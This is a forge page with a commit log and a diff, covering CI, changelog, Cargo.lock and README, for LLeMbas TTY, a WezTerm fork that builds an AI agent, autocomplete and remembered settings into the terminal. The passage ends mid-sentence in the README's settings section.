Author SHA1 Message Date
HomerandClaude Fable 5.2 03f0f34dce 1.0.0-beta.5: AI autocomplete reaches the engine and says why when it does not, a command placed at your prompt, settings remembered here or everywhere
llembas-tty / linux (push) Failing after 38s
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 14:08:59 +00:00
HomerandClaude Fable 5.2 b803aa39d9 Contract 3 as built: the input mark, the engine's own decisions, the timeouts it recommends, --json
llembas-tty / linux (push) Failing after 37s
- the terminal writes the input mark (pane-<n>.input beside the status
  record): whether anything stands on the input line of that prompt, from
  the input cells the shell integration marks. With AI on, for local panes.
- lembas complete: 8 s, and 20 s for the first request after autocomplete
  is switched on or its model changes; --debug with an engine of contract 3,
  whose decisions the autocomplete status shows.
- settings set and forget with --json.

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 13:54:20 +00:00
HomerandClaude Fable 5.2 03f4e2b9dc The hint of a placed command belongs to its prompt; a question goes through once the turn no longer waits
llembas-tty / linux (push) Failing after 10m2s
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 13:35:31 +00:00
HomerandClaude Fable 5.2 6e55ec7ebf Settings as the engine's contract 3 has them: the width's range, and a key joins the directory whose settings apply
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 13:34:17 +00:00
HomerandClaude Fable 5.2 dc630ca398 README, changelog and developer notes: settings, the autocomplete status, manual mode; the smoke test asks the new parts
llembas-tty / linux (push) Failing after 37s
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 13:32:46 +00:00
HomerandClaude Fable 5.2 3839c7311c Settings remembered here or everywhere, a hint that stands, a placed command, the autocomplete in words
- every switch and choice (AI, AI autocomplete, suggestions, highlighting,
  mode, the two models, the display's width) is kept by the engine's store
  of the terminal's settings (lembas terminal settings, contract 3): in the
  palette twice, for this directory and for this machine; a key keeps it
  where the directory's settings already are. The settings of the active
  pane's directory apply, read lazily and kept a minute.
- a CLI without the store: as before, for this run, said once.
- what the display asks stands at the person's cursor row until it is
  answered (it was shown for four seconds); a command placed at the prompt
  (manual mode, contract 3) gets a hint that covers nothing.
- LLeMbas: settings, LLeMbas: autocomplete status, LLeMbas: display width.

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 13:31:01 +00:00
HomerandClaude Fable 5.2 26e836d9e9 AI autocomplete: the engine is given the pane's directory, its errors are kept, and a hint that stands
llembas-tty / linux (push) Failing after 36s
The pane's directory came from the URL the shell integration reports
(file://<host><directory>) through the URL library's own conversion, which
refuses every URL that names a host. So the engine was started without
--cwd, which it requires, ended with a usage error, and its error output
was thrown away: no suggestion, no request, no word of it.

- llembas-line gains complete: whether a line is asked about (decide), the
  directory of a reported URL, one request at a time (Tracker), the engine's
  command line and its run (std only), and the last attempts in words. Tested
  with a stand-in engine that records its arguments, input and environment.
- the engine's timeout is an option (10 s by default); the autocomplete
  model chosen in the terminal is passed on; what the engine says on its
  standard error is the sentence shown.
- wezterm.llembas.complete_status(), .hint() (a word that stands at the
  cursor's row until it is taken away; gentle: never over a cell that shows
  something) and .data_dir().

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 13:24:57 +00:00
HomerandClaude Fable 5.2 a78e7ad48c 1.0.0-beta.4: LLeMbas in the terminal — the ask line in place of the prompt, a display on the right, suggestions and colours on the input line
llembas-tty / linux (push) Failing after 35s
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 12:38:27 +00:00
HomerandClaude Fable 5.2 840e41468b README, changelog and developer notes for LLeMbas in the terminal
llembas-tty / linux (push) Failing after 37s
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 12:22:02 +00:00
HomerandClaude Fable 5.2 403f8d0730 Suggestions and colours on the shell's input line, drawn by the terminal; the engine's contract as built
Drawn when a pane is painted and nowhere else: nothing is written to the pane and the
terminal's model of the screen is not touched. The input line is found among the cells the
shell integration marked; the painter gets the pane's own lines with copies of the few rows
that are drawn differently.

- The rest of the line, dimmed after the cursor, from the terminal's own history of commands
  it saw run (its own file, the person's alone; nothing that starts with a space, was not
  found or came from a private pane). Right or End takes it, Alt+Right one word, as if typed.
- With the AI's autocomplete on, LLeMbas is asked after a pause when the history has nothing,
  off the window's thread, and its answer shows in the same place.
- The command line in colours of the colour scheme's palette: the command when it exists,
  options, strings, variables, operators, comments, paths that exist. Existence is looked up
  only for a shell on this machine.
- A word from the terminal at the cursor's row for a moment, in place of a dialog.
- Off under a full-screen program, without shell integration, for a line of more than three
  rows, under an overlay, and by its options and switches.

The layer, to the engine's contract as built: answers and stop go as lines (/approve, /deny,
/always, /stop); the display is started so that the pane stays to say why it could not; every
pane is told where the status records of this terminal are, each terminal keeping its own.
The autocomplete drawn by the shell integration is now autocomplete = 'shell'.

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 12:22:02 +00:00
HomerandClaude Fable 5.2 b44ec57291 The ask line in place of the shell's line, drawn by the terminal
llembas-tty / linux (push) Failing after 38s
The ask key turns the row of the cursor into a line for a question to LLeMbas: a prefix naming
the model and the mode, and a small line editor of the terminal's own (insert, delete, word
motions, paste, earlier questions). Enter hands the line to the layer as its event; Escape or
the key again leaves it. Nothing typed there reaches the shell, and nothing is written to the
pane: it is an overlay over the pane, as the terminal's search and quick select are, drawing
the pane's own lines with the one row replaced.

- llembas/line: a crate of its own with no dependencies for what is decided about a line of
  text - the editor, the shell's input line as read from the screen's cells, the terminal's own
  command history, suggestions, and the parts of a command line for its colours - with its
  tests. The last four are used by what comes next.
- wezterm-gui/src/llembas: the thin part between that and the terminal, and wezterm.llembas
  through which the Lua layer asks for it.

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 12:10:57 +00:00
HomerandClaude Fable 5.2 0fa3d1a990 The layer for LLeMbas in the terminal: AI on/off, the CLI whole in a tab, the display instead of the split, the pane's status record
llembas-tty / linux (push) Failing after 35s
- An option `ai` and a switch that works at any moment; with AI off every key of the layer
  but the switch does nothing, and says so once.
- A key opens the LLeMbas CLI whole, in a new tab, as if `lembas` were typed.
- A question goes to the terminal's display (`lembas terminal`, started to the right of the
  pane at a third of its width, the focus staying where it was) and never to the CLI's own
  interface in a split. A CLI without the display is said so in words, with how to update.
- Keys and palette entries that act on the display from the person's own pane: allow, allow
  always, deny, stop the turn, new conversation, show/hide, choose model, choose mode.
- The shell integration writes the pane's status record at every prompt and when a command
  starts (a file of the person's own, and the user variable llembas_tty_status), and the layer
  keeps the file for a shell that could not write it.
- The layer talks to the terminal's own drawing part (wezterm.llembas) when there is one:
  the ask line in place, a word at the cursor's row, what is on.

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 11:56:20 +00:00
HomerandClaude Fable 5.2 79cc61e1a1 CI: a round's branch is built, and a compiler error or a failed test is an annotation on the run
llembas-tty / linux (push) Failing after 37s
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 11:36:42 +00:00
HomerandClaude Fable 5.2 c158a6e52a 1.0.0-beta.3: no CLI of its own, a set-up for the CLI and LLeMbas IDE, the IDE from the terminal
llembas-tty / linux (push) Failing after 36s
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 10:26:49 +00:00
HomerandClaude Fable 5.2 3d44c65fd2 No copy of the CLI in the terminal: it uses the installed one, and a set-up installs the CLI and LLeMbas IDE when they are missing
llembas-tty / linux (push) Failing after 38s
The terminal is the front of a set of three, not a container for the
other two: lembas and llembas-ide are found on PATH or in ~/.local/bin,
the same installations used outside it. llembas-tty-setup runs each
product's own installer after checking it against the release key.
LLeMbas IDE opens from the terminal (Ctrl+Shift+E).

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 10:15:06 +00:00
HomerandClaude Fable 5.2 e81acbe6b4 1.0.0-beta.2: a quiet window by default, the .deb named as the version is written
llembas-tty / linux (push) Failing after 37s
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 09:58:02 +00:00
HomerandClaude Fable 5.2 d728e88883 A quiet window by default: no tab bar for one tab, a plain line at the bottom for more
llembas-tty / linux (push) Failing after 35s
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 09:47:48 +00:00
HomerandClaude Fable 5.2 f4052687c6 Package: the .deb file is named by the version as written
llembas-tty / linux (push) Failing after 36s
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 08:30:29 +00:00
41 changed files with 10763 additions and 612 deletions

No files matched your search

+18 -7
View File
@@ -10,7 +10,8 @@
name: llembas-tty
on:
push:
branches: [main, dev]
# round/**: a branch on which a round of work is built before it is merged into dev
branches: [main, dev, "round/**"]
tags: ["v*"]
pull_request:
workflow_dispatch:
@@ -53,10 +54,12 @@ jobs:
sudo apt-get install -y lua5.4 luajit zsh shellcheck yamllint desktop-file-utils appstream
- name: The LLeMbas layer's tests (Lua 5.4 and LuaJIT)
run: scripts/test-lua.sh --all
- name: The shell integration's status record (bash and zsh, each on a terminal of its own)
run: llembas/tests/shell-test.sh
- name: Shell scripts, the workflow, the desktop file
run: |
shellcheck scripts/*.sh llembas/packaging/*.sh llembas/tests/*.sh llembas/ci/*.sh \
llembas/shell/llembas-tty.sh llembas/shell/autocomplete.bash
llembas/shell/llembas-tty.sh llembas/shell/autocomplete.bash llembas/setup/llembas-tty-setup
zsh -n llembas/shell/autocomplete.zsh
zsh -n llembas/shell/llembas-tty.sh
yamllint -d '{extends: default, rules: {line-length: disable, document-start: disable, truthy: disable}}' .github/workflows/llembas-tty.yml
@@ -68,16 +71,23 @@ jobs:
with:
# Upstream's code is not held to "no warnings" here; the action's default would be.
rustflags: ""
- name: The bundled LLeMbas CLI, verified
run: scripts/fetch-cli.sh
- name: The set-up program (what it installs is checked against the release key)
run: llembas/tests/setup-test.sh
- name: Tests of the line logic (the ask line's editor, the input line, history, suggestions, colours)
# first of the Rust steps: it has no dependencies, so a mistake in it is known in a minute
run: llembas/ci/cargo-annotated.sh test --locked -p llembas-line
- name: Build (release)
run: cargo build --release --locked -p wezterm -p wezterm-gui -p wezterm-mux-server
# also when the line logic's tests failed: one run then says both what they found and
# whether the terminal compiles (the steps after this one still stop at a failure)
if: ${{ !cancelled() }}
# through the wrapper: a compiler error is then an annotation on the run as well
run: llembas/ci/cargo-annotated.sh build --release --locked -p wezterm -p wezterm-gui -p wezterm-mux-server
- name: The binaries carry our names
run: |
ls -l target/release/llembas-tty target/release/llembas-tty-gui target/release/llembas-tty-mux-server
target/release/llembas-tty --version
- name: Tests of the configuration crate (where the layer is built in)
run: cargo test --release --locked -p config
run: llembas/ci/cargo-annotated.sh test --release --locked -p config
- name: Smoke test, headless
run: llembas/tests/smoke.sh target/release
- name: Package (.deb and tarball)
@@ -86,7 +96,8 @@ jobs:
run: |
sudo apt-get install -y ./dist/llembas-tty_*.deb
llembas-tty --version
test -x /usr/lib/llembas-tty/lembas
test ! -e /usr/lib/llembas-tty/lembas
llembas-tty-setup --dry-run
llembas/tests/smoke.sh /usr/lib/llembas-tty
sudo apt-get remove -y llembas-tty
- name: SHA256SUMS
+146
View File
@@ -3,6 +3,152 @@
What changed in each release of LLeMbas TTY. WezTerm's own changes are in
`docs/changelog.md`, as upstream keeps them.
## 1.0.0-beta.5 — 2026-12-02
### Fixed
- **AI autocomplete never asked.** The terminal started the engine without the pane's
directory, which the engine requires: the directory was taken from what the shell
integration reports (`file://<host><directory>`) in a way that fails for every address
that names a host — which is every one the integration writes. The engine ended with a
usage error, its error output was discarded, and nothing was shown: no suggestion, no
request to the server, no word about it. The directory is now read correctly (so are the
paths that the highlighting marks as existing, which had the same fault for relative
paths), and when there is none the person's home is given.
- **What an attempt gave is never silent.** The engine's own sentence — not logged in, no
model chosen, a timeout — is kept and shown by *LLeMbas: autocomplete status*, and written
to the terminal's log.
- **The engine is given time.** It was stopped after 2.5 seconds, before a model on the
person's own machine could be loaded for its first answer; and a request that is closed
stops the loading. Now eight seconds by default (an option: `autocomplete_timeout_ms`), and
twenty for the first request after autocomplete is switched on or its model changes.
- The autocomplete model chosen in the terminal is passed to the engine with each request.
- **What LLeMbas asks stands until it is answered.** The word at the cursor's row that says
an approval or a question waits, with its keys, was gone after four seconds; it now stays
for as long as the display asks, moves with you to another pane of the tab, and goes when
it is answered or the display closes.
### Added
- **Settings are remembered, for this machine and for a working directory.** Every switch
and choice — AI, AI autocomplete, suggestions, highlighting, mode, chat model,
autocomplete model, display width — is in the command palette twice: *— here* for the
pane's directory, *— everywhere* for the machine; the directory's own wins. A key keeps
the choice where this directory's settings already are. The settings of the active pane's
directory apply, and follow you from directory to directory. Kept by the LLeMbas CLI
(`lembas terminal settings`, CLI 2.0.0-beta.20 or newer) in its own directory on this
machine; with an older CLI a choice holds until the terminal closes, said once. The
options in the configuration file are the starting values: a value set through the
terminal wins.
- **LLeMbas: settings** — what applies in this pane and where each value comes from, with a
line that forgets the directory's own.
- **LLeMbas: autocomplete status** — whether the AI's autocomplete is on and by whose
choice, the engine and model it would use, and the last attempts: when, for which line,
how long, and what came back.
- **LLeMbas: display width** — the display's part of the pane.
- **Manual mode without an approval card** (with a CLI that places commands, 2.0.0-beta.20
or newer): the command is put at your prompt and not entered; a dimmed hint — *Enter runs
· edit freely · Ctrl+C dismisses* — is drawn beside it, or on the empty row below, never
over it, and goes when you have decided. Nothing of the hint is written to the pane.
- **The input mark.** With AI on, the terminal writes beside each pane's status record
whether anything stands on the input line of that prompt (`pane-<n>.input`: the record's
id and seq, `typed=0` or `1` — never the text). By it LLeMbas places a command only at an
empty prompt, whatever the prompt looks like, and never adds to what you typed.
- With an engine that knows `--debug` (contract 3), *autocomplete status* also shows what
the engine said of each of its decisions at the newest attempt.
### For developers
- `llembas-line` gains `complete`: whether a line is asked about and why not, the directory
in a reported address, one request at a time, the engine's command line and its run, and
the attempts in words — tested in CI with a stand-in engine that records its arguments,
its input and its environment.
- `llembas-line` gains `mark` (the input mark's text and file).
- `wezterm.llembas.hint`, `.status`, `.complete_status`, `.data_dir`; `configure` takes
`ac_model`, `ac_timeout_ms`, `ac_debug` and `input_mark`.
## 1.0.0-beta.4 — 2026-12-02
### Changed
- **LLeMbas in the terminal, not a terminal that starts LLeMbas.** The LLeMbas CLI's own
interface is no longer opened in a split. You ask at your own prompt, the answer shows in
the terminal's display on the right, and what the agent does in a shell is typed into your
pane. The CLI is the engine behind it; `Ctrl+Shift+S` opens the CLI itself, whole, in a new
tab. Asking needs LLeMbas CLI 2.0.0-beta.19 or newer; with an older one the terminal says
so, with how to update.
- **The ask line is in place of your shell's line** (`Ctrl+Shift+A`), not a prompt at the top
of the window: it names the model and the mode, `Enter` sends, `Escape` or the key again
leaves it, and your shell's line is untouched.
- The display is a third of the pane's width (option `display.width`), and the keyboard stays
in your shell when it opens.
- Keys: `Ctrl+Shift+S` opens the CLI in a tab (it started a session in a split),
`Ctrl+Shift+D` shows and hides the display. *Resume a session* is gone from the terminal:
a tab keeps its conversation, and the CLI in a tab has its own session list. The options
`split` and `new_session_in`, and the keys `new_session`, `resume` and `toggle_display`,
are gone with it.
- *Log in* and *set up* open in a tab.
- AI autocomplete (`autocomplete = true`) is drawn by the terminal, in every shell. The one
the shell integration drew is `autocomplete = 'shell'`.
### Added
- **AI on and off**: the option `ai`, and `Ctrl+Shift+I` at any moment. Off: the LLeMbas keys
do nothing, nothing is started, read or sent.
- **Approvals from your own pane**: `Ctrl+Shift+Y` allows, `Ctrl+Shift+J` denies,
`Ctrl+Shift+G` stops the turn; what LLeMbas asks is said at your cursor. Palette entries
for *approve always*, *new conversation*, *choose model*, *choose autocomplete model* and
*choose mode* (manual, auto). The terminal has its own two models, kept by the CLI.
- **Suggestions on the shell's line, drawn by the terminal**: the rest of the line from the
commands the terminal has seen you run, dimmed after the cursor; `Right` or `End` takes it,
`Alt+Right` one word. Needs the shell integration; works in bash and zsh alike.
- **The command line in colours**, drawn by the terminal: the command when it exists,
options, strings, variables, the signs between commands, comments, paths that exist.
- **The terminal's own command history** for those suggestions, in
`~/.local/share/llembas-tty/command-history`, yours alone, never sent anywhere. Not kept: a
line that starts with a space, a command that was not found, anything from a private pane.
*LLeMbas: clear command history* removes it; `history = { enabled = false }` keeps none.
- **The pane's status record**: the shell integration says at every prompt, and when a
command starts, where the shell stands and how the last command ended. LLeMbas waits for
it after typing a command.
- Options `suggestions`, `highlight`, `history`, `colors`, `mode`, `display`; palette
switches for suggestions, highlighting and AI autocomplete.
## 1.0.0-beta.3 — 2026-12-02
### Changed
- **The terminal carries no LLeMbas CLI of its own any more.** It uses the `lembas` you have —
on `PATH`, or in `~/.local/bin` where its installer puts it — the same one you use outside the
terminal, updated by itself. The package is smaller by that copy.
- The CLI that 1.0.0-beta.1 and 1.0.0-beta.2 kept in `/usr/lib/llembas-tty/` is removed by the
update. If it was the only one you had: run the set-up below once, and log in again.
### Added
- **Set-up: the CLI and LLeMbas IDE installed when they are missing.** The palette entry
*LLeMbas: set up (CLI and IDE)*, or `llembas-tty-setup` in a shell, says what is missing and
asks before installing each, for your user only. It runs each product's own installer from
its own release, and only after checking it against the LLeMbas release key. A beta terminal
installs the newest betas.
- **LLeMbas IDE from the terminal**: `Ctrl+Shift+E`, or *LLeMbas: open LLeMbas IDE here*, opens
the editor in a new tab in the pane's directory. Option `ide` for its path, key `keys.ide`.
## 1.0.0-beta.2 — 2026-12-02
### Changed
- **A quiet window by default.** No tab bar while a window has one tab; with more, a plain line
of text at the bottom instead of a strip in the window's frame. Tabs are opened, closed and
walked by keys as before. This is the built-in configuration only: your own file decides for
itself. The session bar sits in that line, so with one tab it is not shown.
### Fixed
- The `.deb` file is named by the version as written (`llembas-tty_1.0.0-beta.2_amd64.deb`). In
1.0.0-beta.1 its name carried Debian's `~`, which a forge's upload turns into a dot, so the
release's `SHA256SUMS` named a file that was not there under that name.
## 1.0.0-beta.1 — 2026-12-02
### Added
Generated
+5
View File
@@ -3297,6 +3297,10 @@ version = "1.0.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "11d3d7f243d5c5a8b9bb5d6dd2b1602c0cb0b9db1621bafc7ed66e35ff9fe092"
[[package]]
name = "llembas-line"
version = "0.1.0"
[[package]]
name = "lock_api"
version = "0.4.14"
@@ -7138,6 +7142,7 @@ dependencies = [
"lazy_static",
"lfucache",
"libc",
"llembas-line",
"log",
"luahelper",
"metrics",
+224 -48
View File
@@ -1,49 +1,136 @@
# LLeMbas TTY
**A terminal that is also an agent.** LLeMbas TTY is a fork of
[WezTerm](https://github.com/wezterm/wezterm) with LLeMbas built in. By default
it is an ordinary terminal: nothing is started, nothing of a pane is read and
nothing leaves the machine until you press one of the keys below.
**LLeMbas in the terminal.** LLeMbas TTY is a fork of
[WezTerm](https://github.com/wezterm/wezterm) with LLeMbas built into it: you ask at your own
prompt, the answer shows beside your shell, and what the agent does in a shell it types into
your pane, at your prompt, where you see it. It is not a terminal that starts another
program in a split.
The agent is the [LLeMbas CLI](https://github.com/LLeMbas/LLeMbas-CLI)
(`lembas`), unchanged; the package carries a verified copy beside the terminal.
It logs in to your own LLeMbas server and uses that server's models.
With AI switched off, or until you press one of the keys below, it is an ordinary terminal:
nothing is started, nothing of a pane is read and nothing leaves the machine.
**State: 1.0.0-beta.1, not released yet.** The terminal's side described here
is written and tested without a terminal; the first builds come from CI. The
parts that need the LLeMbas CLI need one that knows about terminals
(2.0.0-beta.18 or newer); with an older one the terminal says so in words.
Version in `VERSION`, changes in `CHANGELOG.md`. MIT, like WezTerm — see
`LICENSE.md`.
The engine is the [LLeMbas CLI](https://github.com/LLeMbas/LLeMbas-CLI) (`lembas`), installed
beside the terminal as its own thing, and the editor is
[LLeMbas IDE](https://github.com/LLeMbas/LLeMbas-IDE) (`llembas-ide`). The terminal carries no
copy of either: it uses the ones you have and installs what is missing when you ask
(*Set-up*, below). The CLI logs in to your own LLeMbas server and uses that server's models.
## What it adds
**State: beta.** Built and packaged by CI for Linux x86-64 (a `.deb` and a tarball on the
releases page); macOS and Windows are not packaged yet. Asking needs a LLeMbas CLI that can
be the terminal's display (2.0.0-beta.19 or newer); with an older one the terminal says so in
words, with how to update. Version in `VERSION`, changes in `CHANGELOG.md`. MIT, like
WezTerm — see `LICENSE.md`.
## How it works
- **Ask in place.** `Ctrl+Shift+A` turns the line you are on into a line for a question:
`llembas <model> · <mode> › `, so you see which model and mode will answer before you send.
Type, `Enter` sends, `Escape` or the key again leaves it — and your shell's line is as it
was: nothing you type on the ask line reaches the shell. It edits like a shell line
(arrows, `Home`/`End`, `Ctrl`/`Alt`+arrows by word, `Ctrl+W`, `Ctrl+U`, `Ctrl+K`, paste) and
`Up`/`Down` walk through your earlier questions. In a full-screen program it is drawn on
the bottom row.
- **The display.** The answer shows in a pane on the right, a third of the width, which the
terminal opens when you first ask; the keyboard stays in your shell. It has no prompt of
its own: it shows what LLeMbas says, the tools it uses that are not the shell, and what it
asks you. `Ctrl+Shift+D` hides and shows it.
- **Commands happen in your pane.** When LLeMbas runs a command it is typed at your prompt
as if you typed it, and its output is in your scrollback. In *manual* mode the command is
placed at your prompt and not entered: `Enter` runs it, you may change it first, and
`Ctrl+C` (or clearing the line) dismisses it — a dimmed hint beside it says so, and no
approval card stands in the way. In *auto* mode the commands the CLI's rules allow are
typed and entered without asking. (With a LLeMbas CLI older than 2.0.0-beta.20, manual mode
asks in the display before typing: `Ctrl+Shift+Y` allows, `Ctrl+Shift+J` denies, from your
own pane.) Whatever else LLeMbas asks — a question, a permission for a tool that is not
the shell — stands at your cursor's row with the keys that answer it, until it is answered.
There are no file-edit tools here: this is for terminal work, and the CLI or the IDE are a
key away.
- **The CLI itself, whole.** `Ctrl+Shift+S` opens `lembas` in a new tab, in the pane's
directory, exactly as if you had typed it.
- **AI on and off.** `Ctrl+Shift+I` switches all of it at any moment; the option `ai` says
how the terminal starts. Off: every key below but the switch does nothing (and says so
once), no process is started, nothing of a pane is read and nothing leaves the machine.
- **A shell line with comforts, in any shell.** Drawn by the terminal itself, so they work
in bash as in zsh, and inside `ssh` where the other machine's shell has the shell
integration:
- *suggestions*: the rest of the line, dimmed after the cursor, from the commands this
terminal has seen you run. `Right` or `End` takes it, `Alt+Right` one word, anything
else just goes on typing;
- *colours*: the command (when it exists), options, strings, variables, the signs between
commands, comments, and paths that exist;
- *AI autocomplete*, off unless you turn it on (*LLeMbas: AI autocomplete on/off* in the
command palette; choose its model with *LLeMbas: choose autocomplete model*): when your
history has nothing for the line, LLeMbas is asked after a pause and its answer shows in
the same place, in italics. *LLeMbas: autocomplete status* says in words whether it is
on, which engine and model it uses, and what the last attempts gave — a suggestion,
nothing, a timeout, or the engine's own error sentence.
- **Your choices are remembered** — for this machine, and for a working directory where you
want it different there. See *Settings* below.
| Key | Command palette (`Ctrl+Shift+P`) | What it does |
|---|---|---|
| `Ctrl+Shift+A` | LLeMbas: ask the model | A one-line prompt. Your question goes to LLeMbas with the *terminal context* of the pane you were in (below). If the tab has a LLeMbas pane it is asked there; otherwise one opens to the right, in the same directory. |
| `Ctrl+Shift+A` | LLeMbas: ask the model | The ask line. The question goes with the *terminal context* of your pane (below). |
| | LLeMbas: ask about this screen | The same, with what is visible on the screen instead of the last commands — also from a full-screen program. |
| `Ctrl+Shift+S` | LLeMbas: new session here | Starts `lembas` beside the pane, in its directory. |
| `Ctrl+Shift+O` | LLeMbas: resume a session | A list of your sessions to pick from. |
| `Ctrl+Shift+D` | LLeMbas: toggle side display | Shows or hides the session's side display. |
| `Ctrl+Shift+H` | LLeMbas: private pane on/off | Marks the pane private: nothing of it is ever passed on. |
| | LLeMbas: log in | Runs `lembas login`. |
| `Ctrl+Shift+S` | LLeMbas: open the CLI | `lembas`, whole, in a new tab. |
| `Ctrl+Shift+I` | LLeMbas: AI on/off — here / — everywhere | The switch. |
| `Ctrl+Shift+Y` | LLeMbas: approve (allow once) | Answers what LLeMbas asks, from your pane. |
| | LLeMbas: approve always | Where the question offers it (never for a command typed into your pane). |
| `Ctrl+Shift+J` | LLeMbas: deny | |
| `Ctrl+Shift+G` | LLeMbas: stop the turn | |
| | LLeMbas: new conversation | A tab has one conversation, which goes on until you start a new one. |
| `Ctrl+Shift+D` | LLeMbas: show/hide the display | Hidden, it runs on behind your pane. |
| | LLeMbas: choose model — here / — everywhere | The terminal's own chat model, from your server's list. |
| | LLeMbas: choose autocomplete model — here / — everywhere | The terminal's own autocomplete model. |
| | LLeMbas: choose mode — here / — everywhere | *manual* or *auto*. |
| | LLeMbas: display width — here / — everywhere | The display's part of the pane, from the next time it opens. |
| `Ctrl+Shift+H` | LLeMbas: private pane on/off | Nothing of the pane is passed on, and its commands are not remembered. |
| | LLeMbas: suggestions on/off — here / — everywhere | |
| | LLeMbas: syntax highlighting on/off — here / — everywhere | |
| | LLeMbas: AI autocomplete on/off — here / — everywhere | |
| | LLeMbas: settings | What applies in this pane and where each value comes from; forgets this directory's own. |
| | LLeMbas: autocomplete status | The AI's autocomplete in words: on or off, engine, model, the last attempts. |
| | LLeMbas: clear command history | |
| | LLeMbas: log in | `lembas login`, in a new tab. |
| `Ctrl+Shift+E` | LLeMbas: open LLeMbas IDE here | LLeMbas IDE in a new tab, in the pane's directory. |
| | LLeMbas: set up (CLI and IDE) | Installs what is missing of the two (below). |
- **Session bar.** When the pane you are in runs LLeMbas, the right of the tab
bar shows its model, mode, state and how full its context is. A tab in which
LLeMbas waits for you is marked with `●`. With no LLeMbas pane, the bar shows
nothing of ours.
- **Prompt autocomplete**, off by default: in zsh the rest of the line appears
dimmed after the cursor (Right arrow or End takes it), in bash a key
(`Ctrl+X Ctrl+A`) completes the line. See *Autocomplete* below.
- **A quiet window.** With no configuration of your own there is no tab bar while a window has
one tab; from the second tab on it is a plain line of text at the bottom. Tabs are worked by
keys either way: `CTRL+SHIFT+T` new, `CTRL+SHIFT+W` close, `CTRL+TAB` / `CTRL+SHIFT+TAB` next
and previous, `CTRL+SHIFT+1`…`9` by number. The session bar below sits in that line, so it
shows from two tabs on; `config.hide_tab_bar_if_only_one_tab = false` in your own file keeps
the line always.
- **Session bar.** The right of the tab bar shows the model, mode, state and how full the
context is of the conversation in the tab you are in, `AI off` when it is off, and
`private` for a private pane. A tab in which LLeMbas waits for you is marked with `●`, and
what it asks is said at the cursor of your pane, with the keys that answer.
- **Its own everything.** LLeMbas TTY installs beside WezTerm and shares
nothing with it: its commands are `llembas-tty`, `llembas-tty-gui` and
`llembas-tty-mux-server`, its configuration is
`~/.config/llembas-tty/llembas-tty.lua` (or `~/.llembas-tty.lua`), and it
neither reads WezTerm's files nor talks to a running WezTerm.
## What is passed on, and when
## Set-up: the CLI and LLeMbas IDE
Only when you ask (the two *ask* entries), and only this:
LLeMbas TTY is the terminal of a set of three: the terminal, the LLeMbas CLI (the engine) and
LLeMbas IDE (the editor). The other two are installations of their own — in your home
directory, updated by themselves (`lembas update`, `llembas-ide update`), and the same whether
you start them here or anywhere else. The terminal looks for `lembas` and `llembas-ide` on
your `PATH` and then in `~/.local/bin`.
When one is missing, the palette entry **LLeMbas: set up (CLI and IDE)** — or `llembas-tty-setup`
in a shell — says which, and asks before installing each. It runs that product's own
installer from that product's own release, after checking it: the release's `SHA256SUMS` must
be signed with the LLeMbas release key and the installer must match it. Nothing runs as root
and nothing already installed is touched. A beta terminal installs the newest betas, a stable
one the newest stable releases (`--channel stable|beta` to say otherwise; `--dry-run` to see
what it would do; `--no-cli`, `--no-ide`).
## What is passed on, what is kept, and when
**With AI off: nothing, to anyone.** With AI on, still nothing until you ask.
**When you send a question** (the two *ask* entries), LLeMbas is given, with it:
- the last 5 commands of that pane with the end of each one's output (200
lines or 16 KiB at most), and the pane's directory and shell. This needs the
@@ -56,11 +143,75 @@ Never: a pane you marked private, a pane that is asking for a password, a pane
that runs on another machine, the scrollback as a whole, or anything at all
while you have not asked. The context is written to a file only you can read,
in the terminal's runtime directory; LLeMbas deletes it after reading it and
the terminal removes any that are left after ten minutes. What LLeMbas then
does with it is the CLI's business and follows its permissions.
the terminal removes any that are left after ten minutes.
**While a conversation runs**, LLeMbas can read the pane you asked from and type commands
into it, by its own permissions: in manual mode a command is placed at your prompt for you
to run, and only at an empty prompt — nothing is ever added to what you typed. That is the
CLI's business; it never types at a password prompt. So that it knows your prompt is empty
whatever your prompt looks like, the terminal writes, with AI on, a four-line *input mark*
beside each pane's status record: which prompt it is of, and whether anything stands on its
input line — never what.
**AI autocomplete**, when you turned it on: the line you are typing is sent to
`lembas complete` after a pause, when your own history has no suggestion for it — never an
empty line, a line of fewer than three characters, a line that starts with a space, a
private pane, or a shell on another machine. What comes back is shown as text; nothing runs
until you take it and press Enter. The engine is given eight seconds for an answer
(`autocomplete_timeout_ms`), and twenty for the first one after you switch autocomplete on or
change its model: a model on your own machine may have to be loaded. The last few attempts — the start of the line, how long it took, what came back — are
kept in memory for *LLeMbas: autocomplete status* and go when the terminal closes.
## Settings
What you switch and choose in the terminal is remembered: AI on or off, AI autocomplete,
suggestions, highlighting, the mode, the chat model, the autocomplete model and the display's
width. Each is in the command palette twice:
- **… — here** keeps it for the working directory of the pane you are in;
- **… — everywhere** keeps it for this machine.
A directory's own value wins over the machine's there. A key (`Ctrl+Shift+I`, or one you gave
to `model` or `mode`) keeps the choice *here* when this directory already has settings of
its own, and *everywhere* otherwise; the word shown at your cursor says which. The settings
of the directory of the pane you are in apply: change directory, or pane, and the
suggestions, the colours, the autocomplete, the model and mode on the ask line and what the
next display starts with follow.
**LLeMbas: settings** lists what applies now and where each value comes from — *here* (with
the directory), *everywhere*, or the configuration — and has a line that forgets this
